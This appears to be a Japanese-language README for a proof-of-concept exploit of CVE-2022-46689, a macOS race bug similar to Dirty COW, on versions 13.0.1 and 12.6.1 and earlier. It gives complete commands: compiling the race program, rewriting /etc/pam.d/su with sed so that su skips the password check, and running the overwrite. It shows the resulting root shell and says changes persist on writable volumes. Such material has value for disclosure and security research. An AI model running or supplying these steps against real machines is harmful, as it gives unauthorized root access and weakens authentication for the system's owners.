
CVE-2022-46689(Dirty Cow バグの macOS 版)を利用して macOS 13.0.1 で root を取得し、Apple の XNU ソースから抽出したテストケースを使用します。
macOS 13.0.1 で CVE-2022-46689(Dirty Cow バグの macOS 版)を使って root を取得します。Apple の XNU ソース から抽出したテストケースを使用します。
https://worthdoingbadly.com/macdirtycow/
macOS 13.0.1 / 12.6.1(またはそれ以下)のマシンで、次を実行します:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
次のような出力が得られるはずです:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
macOS 13 beta(22A5266r)でSIPをオフにしてテスト済みです(SIPがオンの場合でも動作するはずです)。
システムが完全にパッチ適用済み(macOS 13.1 / 12.6.2)の場合、代わりに次のように表示されます:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
また、su を実行してもパスワードの入力を求められるはずです。
Sealed System Volume のおかげで、/System ボリューム上の任意のファイルに対してこれを実行しても、変更は一時的です。再起動すると元に戻ります。書き込み可能なボリューム上のファイルに実行すると、再起動後も変更が保持されます。
/etc/pam.d を使ってパスワードチェックを無効化するテクニックを提供してくれた SSLab@Gatech に感謝します。